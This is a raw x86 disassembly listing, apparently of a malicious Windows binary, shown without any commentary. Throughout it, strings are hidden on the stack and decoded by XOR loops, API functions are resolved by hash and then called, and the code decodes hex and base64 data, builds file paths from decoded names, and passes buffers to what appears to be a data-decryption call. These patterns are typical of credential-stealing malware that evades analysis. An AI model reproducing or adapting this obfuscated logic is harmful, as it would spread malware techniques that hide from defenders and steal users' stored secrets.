push dword [esp + 0x38]
call fcn.00437630
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 0x18], 0
mov edi, dword [esp + 0x10]
jmp dword [eax*4 + 0x43ed00]
mov esi, dword [esp + 0x94]
mov ebx, dword [esp + 0x8c]
mov byte [ebx + esi], 0
push 0x20
call fcn.00408f60
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x88], eax
mov ecx, eax
push esi
push ebx
call fcn.00420280
movzx eax, al
mov dword [esp + 0x18], 0
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], ecx
lea edi, [esp + 0x30]
jmp dword [eax*4 + 0x43ed08]
mov dword [esp + 0x30], 0xa5a8be99
mov dword [esp + 0x34], 0xb2a0b0a9
mov dword [esp + 0x38], 0xb5b581e5
mov dword [esp + 0x3c], 0x88ebbcae
mov dword [esp + 0x40], 0x8ebdb8a8
mov dword [esp + 0x44], 0x8b93a6d1
mov dword [esp + 0x48], 0x9d83808a
mov dword [esp + 0x4c], 0x858f88ad
mov dword [esp + 0x50], 0xef8b
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x23
ja 0x41eb7e
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x30]
add eax, 0x5861b8cd
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
dec al
mov ecx, dword [esp]
mov byte [esp + ecx + 0x30], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x24
jb 0x41eb50
mov ecx, dword [esp + 0x88]
push edi
call fcn.00420490
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x18], 0
mov edx, dword [esp + 0x10]
mov dword [esp + 0x14], edx
jmp dword [ecx*4 + 0x43ed10]
mov edi, dword [esp + 0x14]
jmp dword [0x43ed78]
mov esi, dword [esp + 0x88]
mov ecx, esi
call fcn.00420600
push esi
call fcn.00408f70
add esp, 4
jmp dword [0x43ed80]
jmp dword [0x43ed24]
add eax, 8
mov dword [esp + 0x18], 0
mov edx, dword [eax]
xor eax, eax
test edx, edx
setne al
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], ecx
jmp dword [eax*4 + 0x43ed28]
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x43ed28]
mov eax, dword [edx]
cmp dword [edx + 0x18], 3
mov esi, 0
jne case.default.0x41ec2f
mov esi, dword [edx + 0x10]
mov dword [esp + 0x1c], eax
test eax, eax
setne al
test esi, esi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x43ed30]
mov dword [esp + 0x84], edx
mov eax, esi
nop
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.default.0x41ec71
sub ecx, esi
inc ecx
shr ecx, 1
mov dword [esp + 0x98], ecx
lea eax, [ecx + 1]
push eax
call fcn.00408f60
add esp, 4
movsx edx, byte [esi]
xor ecx, ecx
test edx, edx
setne cl
mov dword [esp + 0x90], eax
jmp dword [ecx*4 + 0x43ed38]
inc esi
mov byte [eax], cl
inc eax
movsx edx, byte [esi]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x43ed38]
lea ecx, [edx - 0x30]
cmp ecx, 0xa
jb 0x41eca2
mov ecx, 0xffffffff
or edx, 0x20
lea edi, [edx - 0x61]
cmp edi, 6
jae case.default.0x41ecbd
add edx, 0xffffffa9
mov ecx, edx
movsx edx, byte [esi + 1]
xor ebx, ebx
test edx, edx
setne bl
jmp dword [ebx*4 + 0x43ed40]
mov ebx, ebp
lea ebp, [edx - 0x30]
cmp ebp, 0xa
jb 0x41ecd3
mov ebp, 0xffffffff
or edx, 0x20
lea edi, [edx - 0x61]
cmp edi, 6
jae case.default.0x41ecfa
add edx, 0xffffffa9
mov ebp, edx
shl ecx, 4
or ecx, ebp
add esi, 2
mov byte [eax], cl
inc eax
movsx edx, byte [esi]
xor ecx, ecx
test edx, edx
setne cl
mov ebp, ebx
jmp dword [ecx*4 + 0x43ed38]
mov byte [eax], 0
xor esi, esi
push 0
push 0x10
push 0
push dword [esp + 0x28]
call fcn.004206a0
add esp, 0x10
xor ebx, ebx
mov dword [esp + 0x1c], ebp
mov ecx, dword [esp + 0x28]
cmp ecx, ebp
setne bl
mov ebp, ecx
jmp dword [ebx*4 + 0x43ed48]
mov esi, dword [ebp]
xor ecx, ecx
jmp dword [ecx*4 + 0x43ed58]
add ebp, 8
xor ebx, ebx
cmp ebp, dword [esp + 0x1c]
setne bl
jmp dword [ebx*4 + 0x43ed48]
mov ebx, dword [ebp + 4]
mov edi, ebx
shr edi, 0x1c
shl ebx, 4
or ebx, 1
xor edi, edx
xor ebx, eax
xor ecx, ecx
or ebx, edi
sete cl
jmp dword [ecx*4 + 0x43ed50]
mov ebx, 1
jmp dword [ebx*4 + 0x43ed58]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x43ed60]
mov ebp, dword [esp + 0x1c]
mov edx, dword [esp + 0x84]
jmp dword [0x43ed70]
mov eax, dword [esp + 0x98]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x90]
mov dword [esp + 0x34], eax
mov eax, 0xffffffff
mov ebp, dword [esp + 0x1c]
lea edi, [esp + 0x30]
nop
nop
nop
cmp byte [esi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x41ee0e
mov dword [esp + 8], eax
mov dword [esp + 0xc], esi
mov dword [esp], 0
mov dword [esp + 4], 0
push 0x6c625980
push dword [0x442dec]
call fcn.004365c0
add esp, 8
mov ecx, esp
lea edx, [esp + 8]
push ecx
push 1
push 0
push 0
push edx
push 0
push edi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x43ed68]
mov edx, dword [esp + 0x84]
jmp dword [0x43ed70]
movzx eax, byte [esi]
test al, al
je 0x41ee3d
inc esi
mov ecx, dword [esp + 0x14]
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [esi]
inc esi
test al, al
jne 0x41ee30
jmp 0x41ee41
mov ecx, dword [esp + 0x14]
mov word [ecx], 0x203a
mov eax, ecx
add eax, 2
mov esi, dword [esp]
test esi, esi
je 0x41ee7b
mov ecx, dword [esp + 4]
mov edx, esi
and edx, 3
je 0x41ee7f
xor edi, edi
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x41ee60
add eax, edi
mov edx, esi
sub edx, edi
mov ebx, eax
jmp 0x41ee81
mov esi, eax
jmp 0x41eec9
mov edx, esi
cmp esi, 4
mov esi, ebx
jb 0x41eec9
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov eax, esi
add edx, 0xfffffffc
jne 0x41ee90
mov byte [esi], 0xa
inc esi
mov dword [esp + 0x14], esi
push 0xe050b307
push dword [0x442dd4]
call fcn.004365c0
add esp, 8
push dword [esp + 4]
call eax
mov al, 1
mov dword [esp + 0x18], eax
mov edx, dword [esp + 0x84]
jmp dword [0x43ed70]
push dword [esp + 0x90]
call fcn.00408f70
mov edx, dword [esp + 0x88]
add esp, 4
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x43ed28]
jmp dword [0x43ed80]
push dword [esp + 0x8c]
call fcn.00408f70
add esp, 4
mov eax, dword [esp + 0x2c]
mov dword [esp], 0x74757677
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 3
ja 0x41ef93
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx]
add ecx, 0xda2d5b14
xor ecx, edx
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0x30]
add cl, 0x9c
mov edx, dword [esp + 8]
mov byte [esp + edx], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 4
jb 0x41ef60
mov ecx, dword [0x442de0]
test ecx, ecx
je 0x41efe4
mov edx, dword [esp]
xor esi, esi
mov ebx, dword [0x442de4]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0x625b6034
je 0x41efdc
inc esi
cmp ecx, esi
jne 0x41efb0
jmp 0x41efe4
push eax
push 1
push dword [0x442de8]
push ecx
call fcn.00435090
add esp, 0x10
mov edi, dword [esp + 0x14]
jmp dword [0x43ece0]
mov ecx, dword [ebx + esi*8 + 4]
cmp ecx, edx
jne 0x41f00a
mov esi, edi
lea edi, [esp + 0x30]
mov ebx, dword [esp + 0x18]
jmp dword [0x43ed88]
mov eax, ebx
and al, 1
movzx ecx, al
mov eax, ebx
jmp dword [ecx*4 + 0x43ed90]
jmp dword [0x43ed98]
push eax
push 1
push dword [0x442de8]
push ecx
call fcn.00435090
add esp, 0x10
mov esi, edi
lea edi, [esp + 0x30]
mov ebx, dword [esp + 0x18]
jmp dword [0x43ed88]
add eax, 8
xor edi, edi
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor ebp, ebp
xor edx, edx
xor ebx, ebx
jmp dword [eax*4 + 0x43ecb8]
not eax
mov ebx, dword [esp + 0x28]
mov dword [ebx + edi + 4], eax
add ebp, 8
mov ecx, dword [esp + 0x84]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, ebx
jmp dword [eax*4 + 0x43ecb8]
mov dword [esp + 0x84], ecx
mov esi, dword [ecx]
mov ecx, ebp
sub ecx, edi
cmp ebp, edx
mov dword [esp + 0x10], ecx
je 0x41f099
mov dword [esp + 0x1c], ebp
mov ebp, edi
jmp 0x41f121
mov eax, ecx
sar eax, 3
shr ecx, 2
and ecx, 2
xor eax, 1
add eax, ecx
mov dword [esp + 0x24], edx
mov ecx, edx
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x41f0c0
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.00408f60
add esp, 4
mov ebp, eax
test edi, edi
je 0x41f10c
mov edx, dword [esp + 0x24]
cmp edi, edx
je 0x41f103
xor eax, eax
mov ecx, dword [edi + eax]
mov dword [ebp + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [ebp + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, edx
jne 0x41f0e0
push edi
call fcn.00408f70
add esp, 4
lea edx, [ebx*8]
add edx, ebp
mov eax, ebp
mov ecx, dword [esp + 0x10]
add eax, ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x24], edx
mov dword [ebp + ecx], 0
mov dword [esp + 0x28], ebp
mov dword [ebp + ecx + 4], 0
mov ebx, 0xffffffff
mov eax, 0xfffffffe
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebp, ecx
add eax, 2
cmp byte [esi + ebx + 1], 0
lea ebx, [ebx + 1]
lea ecx, [ecx + 1]
jne 0x41f150
lea edi, [ebx + 1]
push edi
mov dword [esp + 0x1c], edi
call fcn.00408f60
add esp, 4
mov ecx, eax
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x10]
mov dword [eax + edx], ecx
mov eax, ecx
shr edi, 2
mov edx, esi
mov ecx, edi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edi, dword [esp + 0x18]
mov ecx, edi
xor ecx, 3
mov edx, edi
or edx, 0xfffffffc
and edx, ecx
add eax, edx
add edx, esi
mov ecx, edi
shr ecx, 1
and ecx, 1
mov dword [esp + 0x90], edx
mov dword [esp + 0x98], eax
mov edi, eax
mov eax, dword [esp + 0x90]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
test bl, 1
jne 0x41f1e5
mov ecx, dword [esp + 0x18]
and ecx, 2
movzx eax, byte [edx + ecx]
mov edx, dword [esp + 0x98]
mov byte [edx + ecx], al
test ebx, ebx
je 0x41f260
cmp ebx, 1
mov edi, dword [esp + 0x10]
jne 0x41f1f9
mov eax, 0xffffffff
mov edx, dword [esp + 0x24]
jmp 0x41f23b
and ebp, 0xfffffffe
mov eax, 0xffffffff
mov edx, dword [esp + 0x24]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
shr ecx, 8
xor al, byte [esi]
movzx eax, al
xor ecx, dword [eax*4 + 0x43a5c0]
mov eax, ecx
shr eax, 8
xor cl, byte [esi + 1]
add esi, 2
movzx ecx, cl
xor eax, dword [ecx*4 + 0x43a5c0]
add ebp, 0xfffffffe
jne 0x41f210
test bl, 1
mov ebp, dword [esp + 0x1c]
je 0x41f050
mov ecx, eax
shr ecx, 8
xor al, byte [esi]
movzx eax, al
xor ecx, dword [eax*4 + 0x43a5c0]
mov eax, ecx
jmp 0x41f050
xor eax, eax
mov ebp, dword [esp + 0x1c]
mov edx, dword [esp + 0x24]
mov edi, dword [esp + 0x10]
jmp 0x41f052
jmp dword [0x43eda8]
push dword [esp + 0x48]
call fcn.00408f70
add esp, 4
mov eax, dword [esp + 0x78]
and al, 1
add esp, 0xe4
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [esp + 0xac]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x43eda0]
mov dword [esp + 0xac], ecx
mov ebp, dword [esp + ecx + 0x90]
mov edi, 0xfffffffe
nop
nop
nop
nop
cmp word [ebp + edi + 2], 0
lea edi, [edi + 2]
jne 0x41f6a0
mov edx, edi
sar edx, 1
mov eax, dword [esp + 0x88]
lea ecx, [edx + eax]
add ecx, 0xd
test ecx, ecx
mov dword [esp + 0x70], edx
jns 0x41f6d0
mov eax, 0xffffffff
jmp 0x41f6d9
add eax, edx
lea eax, [eax*2 + 0x1a]
push eax
call fcn.00408f60
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x48]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x41f711
mov edx, dword [esp + 0xa0]
mov eax, esi
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41f700
mov word [eax], 0x5c
mov dword [esp + 0x14], 0x9722993c
mov dword [esp + 0x18], 0x930d9507
mov dword [esp + 0x1c], 0x8f1a9131
mov dword [esp + 0x20], 0x8b258dec
mov dword [esp + 0x24], 0x87278904
mov dword [esp + 0x28], 0x831f8508
mov word [esp + 0x2c], 0x8180
lea ecx, [esp + 0x14]
mov word [ecx + 0x1e], 0
mov dword [ecx + 0x1a], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x1f
ja 0x41f7a0
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
add ecx, 0x75d21726
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0x42
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x20
jb 0x41f770
add eax, 2
movzx ecx, word [ebp]
test cx, cx
je 0x41f7c1
lea edx, [ebp + 2]
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41f7b0
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x41f7f1
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41f7e0
mov word [eax], 0
lea eax, [esp + 0x84]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.004371a0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x43edb0]
xor ebx, ebx
jmp dword [0x43ee40]
push esi
call fcn.00408f70
add esp, 4
movzx eax, bl
jmp dword [eax*4 + 0x43ee48]
mov dword [esp + 0xa4], esi
lea eax, [esp + 0x80]
push 0
push eax
push dword [esp + 0x8c]
call fcn.00437530
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x43edb8]
mov esi, dword [esp + 0x80]
lea eax, [esi + 1]
push eax
call fcn.00408f60
add esp, 4
push 0
push esi
mov dword [esp + 0xa4], eax
push eax
push dword [esp + 0x90]
call fcn.00437630
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x43edc0]
mov esi, dword [esp + 0x9c]
jmp dword [0x43edcc]
mov eax, dword [esp + 0x84]
mov dword [esp + 0x50], eax
mov dword [esp], 0x74757677
mov dword [esp + 0xc], 0
mov eax, dword [esp + 0xc]
cmp eax, 3
ja 0x41f921
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
movzx ecx, byte [esp + ecx]
add eax, 0xda2d5b14
xor eax, ecx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
add al, 0x9c
mov ecx, dword [esp + 0xc]
mov byte [esp + ecx], al
inc dword [esp + 0xc]
mov eax, dword [esp + 0xc]
cmp eax, 4
jb 0x41f8f0
mov ecx, dword [0x442de0]
test ecx, ecx
je 0x41f960
mov edx, dword [esp]
xor esi, esi
mov eax, dword [0x442de4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [eax + esi*8], 0x625b6034
je 0x41f950
inc esi
cmp ecx, esi
jne 0x41f940
jmp 0x41f960
mov eax, dword [eax + esi*8 + 4]
cmp eax, edx
jne 0x41fce8
nop
nop
nop
nop
mov esi, dword [esp + 0xa4]
jmp dword [0x43ee40]
movzx eax, bl
jmp dword [eax*4 + 0x43ee48]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x70]
lea ecx, [edx + eax]
add ecx, 0x17
test ecx, ecx
jns 0x41f9a0
mov eax, 0xffffffff
jmp 0x41f9a9
add eax, edx
lea eax, [eax*2 + 0x2e]
push eax
call fcn.00408f60
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x48]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x41f9e1
mov edx, dword [esp + 0xa0]
mov eax, esi
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41f9d0
mov word [eax], 0x5c
mov dword [esp + 0x14], 0x1762197c
mov dword [esp + 0x18], 0x138d1587
mov dword [esp + 0x1c], 0xf9a1171
mov dword [esp + 0x20], 0xb650d2c
mov dword [esp + 0x24], 0x7950984
mov dword [esp + 0x28], 0x363058a
mov dword [esp + 0x2c], 0x3fa3019b
mov dword [esp + 0x30], 0x3bae3d58
mov dword [esp + 0x34], 0x37bc39a5
mov dword [esp + 0x38], 0x33a635a9
mov dword [esp + 0x3c], 0x2fb031ac
mov word [esp + 0x40], 0x2d2c
lea ecx, [esp + 0x14]
mov byte [ecx + 0x30], 0
mov word [ecx + 0x2e], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x30
ja 0x41fab0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
lea ebx, [ecx + edx]
add ebx, 0x394ed786
add ecx, 0x394ed786
not edx
or ecx, edx
sub edx, ecx
lea ecx, [ebx + edx*2]
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0x62
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x31
jb 0x41fa70
add eax, 2
movzx ecx, word [ebp]
test cx, cx
je 0x41fad1
lea edx, [ebp + 2]
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41fac0
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x41fb01
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41faf0
mov word [eax], 0
cmp dword [esp + 0x70], 0xfffffff7
jge 0x41fb20
mov edi, 0xffffffff
jmp 0x41fb23
add edi, 0x12
push edi
call fcn.00408f60
add esp, 4
mov edi, eax
mov dword [esp + 0x14], 0x893e8bfd
mov dword [esp + 0x18], 0x850c8733
mov dword [esp + 0x1c], 0x8136833f
mov dword [esp + 0x20], 0x9d209f3c
mov word [esp + 0x24], 0x9b9c
mov dword [esp + 0x26], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x15
ja 0x41fbaa
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x14]
lea edx, [eax + 0xa3]
and edx, ecx
add eax, ecx
add edx, edx
sub eax, edx
add eax, 0x66ea8aa3
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0xd1
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x16
jb 0x41fb70
movzx ecx, word [ebp]
mov eax, edi
test cx, cx
je 0x41fbd2
add ebp, 2
mov eax, edi
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebp]
add ebp, 2
test cx, cx
jne 0x41fbc0
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x41fc01
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41fbf0
mov word [eax], 0
mov dword [esp + 0x14], 0x1f1e1976
mov word [esp + 0x18], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 5
ja 0x41fc5e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x14]
add eax, 0x5992213a
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0xde
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 6
jb 0x41fc30
push 0
push 0
push 0
push 0xc00000
lea eax, [esp + 0x24]
push eax
push esi
push edi
push dword [esp + 0x114]
call fcn.004178e0
add esp, 0x20
movzx eax, al
mov ecx, dword [esp + 0x78]
and cl, 1
movzx ecx, cl
mov edx, eax
not edx
and edx, ecx
xor eax, ecx
add eax, ecx
cmp eax, edx
setne al
mov dword [esp + 0x78], eax
jmp dword [0x43ee50]
push edi
call fcn.00408f70
add esp, 4
jmp dword [0x43ee58]
jmp dword [0x43ee58]
push esi
call fcn.00408f70
add esp, 4
mov ecx, dword [esp + 0xac]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x43eda0]
push dword [esp + 0x50]
push 1
push dword [0x442de8]
push eax
call fcn.00435090
add esp, 0x10
mov esi, dword [esp + 0xa4]
jmp dword [0x43ee40]
push dword [esp + 0x4c]
call fcn.00408f70
add esp, 4
mov esi, dword [esp + 0xb4]
jmp dword [0x43ee0c]
push esi
call fcn.00402f60
add esp, 4
nop
nop
nop
nop
push esi
call fcn.00402f60
add esp, 4
jmp dword [0x43ee14]
push esi
call fcn.00408f70
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00408f70
add esp, 4
jmp dword [0x43ee3c]
jmp dword [0x43ee30]
mov esi, eax
push eax
call fcn.00402cd0
add esp, 4
mov dword [esp + 0x14], 0x7c7b6e75
mov dword [esp + 0x18], 0x696e506e
mov dword [esp + 0x1c], 0x7460682e
mov dword [esp + 0x20], 0x61665866
mov dword [esp + 0x24], 0x140b0f6f
mov dword [esp + 0x28], 0xae2013
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x17
ja 0x41fde0
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
add ecx, 0xa34a7b2f
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0x15
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x18
jb 0x41fdb0
lea ecx, [esp + 0x14]
push ecx
push eax
call fcn.00402e20
add esp, 8
mov ebx, eax
mov edx, 0xffffffff
mov ecx, 0xfffffffd
nop
nop
nop
nop
nop
nop
mov eax, edx
add ecx, 3
cmp byte [ebx + edx + 1], 0
lea edx, [edx + 1]
jne 0x41fe00
shr ecx, 2
movzx eax, byte [ebx + edx - 1]
cmp eax, 0x3d
je 0x41fe21
cmp eax, 0x2e
jne 0x41fe22
dec ecx
movzx eax, byte [ebx + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0x6c], edx
mov dword [esp + 0xb4], esi
je 0x41fe3c
cmp eax, 0x2e
jne 0x41fe49
mov dword [esp + 0x74], ebp
mov eax, ecx
not eax
lea ecx, [eax + ecx*2]
jmp 0x41fe4d
mov dword [esp + 0x74], ebp
mov dword [esp + 0xb0], ecx
lea eax, [ecx + 1]
push eax
call fcn.00408f60
add esp, 4
mov dword [esp + 0x4c], eax
cmp dword [esp + 0x6c], 0
je 0x41ff65
xor ebp, ebp
mov esi, 2
mov dword [esp + 0x7c], ebx
jmp 0x41fe98
lea eax, [esi + 4]
add esi, 2
mov ebp, dword [esp + 0x50]
cmp esi, edx
mov esi, eax
mov ebx, dword [esp + 0x7c]
jae 0x41ff65
movzx eax, byte [ebx + esi - 2]
push eax
call fcn.00415370
add esp, 4
mov ecx, ebx
mov ebx, eax
movzx eax, byte [ecx + esi - 1]
push eax
call fcn.00415370
mov edx, dword [esp + 0x70]
add esp, 4
mov bh, al
shl bl, 2
shr al, 4
and al, 3
or al, bl
lea ecx, [ebp + 1]
mov dword [esp + 0x50], ecx
mov ecx, dword [esp + 0x4c]
mov byte [ecx + ebp], al
cmp esi, edx
jae 0x41fe80
mov dword [esp + 0xa8], ebp
mov eax, dword [esp + 0x7c]
movzx eax, byte [eax + esi]
push eax
call fcn.00415370
mov edx, dword [esp + 0x70]
add esp, 4
cmp al, 0x40
je 0x41fe80
mov bl, al
shl bh, 4
shr al, 2
and al, 0xf
or al, bh
mov ebp, dword [esp + 0xa8]
lea ecx, [ebp + 2]
mov dword [esp + 0x50], ecx
mov ecx, dword [esp + 0x4c]
mov byte [ecx + ebp + 1], al
lea eax, [esi + 1]
cmp eax, edx
jae 0x41fe80
mov eax, dword [esp + 0x7c]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.00415370
mov edx, dword [esp + 0x70]
add esp, 4
cmp al, 0x40
je 0x41fe80
shl bl, 6
add al, bl
mov ecx, dword [esp + 0x4c]
mov ebx, dword [esp + 0xa8]
mov byte [ecx + ebx + 2], al
add ebx, 3
mov dword [esp + 0x50], ebx
jmp 0x41fe80
mov eax, dword [esp + 0xb0]
add eax, 0xfffffffb
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x4c]
add eax, 5
mov dword [esp + 0x10], eax
mov dword [esp], 0
mov dword [esp + 4], 0
push 0x6c625980
push dword [0x442dec]
call fcn.004365c0
add esp, 8
mov ecx, esp
lea edx, [esp + 0xc]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x43ede0]
xor ebx, ebx
mov ebp, dword [esp + 0x74]
jmp dword [0x43ee00]
mov ebp, dword [esp + 0x74]
jmp dword [0x43ede8]
cmp dword [esp + 0x70], 0xfffffff8
jge 0x41ffe6
mov eax, 0xffffffff
jmp 0x41ffe9
lea eax, [edi + 0x10]
push eax
call fcn.00408f60
add esp, 4
mov dword [esp + 0x14], 0x99769bad
mov dword [esp + 0x18], 0xa594a768
mov dword [esp + 0x1c], 0xa15aa358
mov dword [esp + 0x20], 0xadaeaf5c
mov word [esp + 0x24], 0
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 0x11
ja 0x42006b
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx + 0x14]
add ecx, 0x6b9dc85b
xor ecx, edx
mov dword [esp + 0x8c], ecx
mov ecx, dword [esp + 0x8c]
add cl, 0x39
mov edx, dword [esp + 8]
mov byte [esp + edx + 0x14], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 0x12
jb 0x420030
movzx edx, word [ebp]
mov ecx, eax
test dx, dx
je 0x420091
lea esi, [ebp + 2]
mov ecx, eax
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x420080
mov word [ecx], 0
movzx edx, word [esp + 0x14]
test dx, dx
je 0x4200c1
lea esi, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
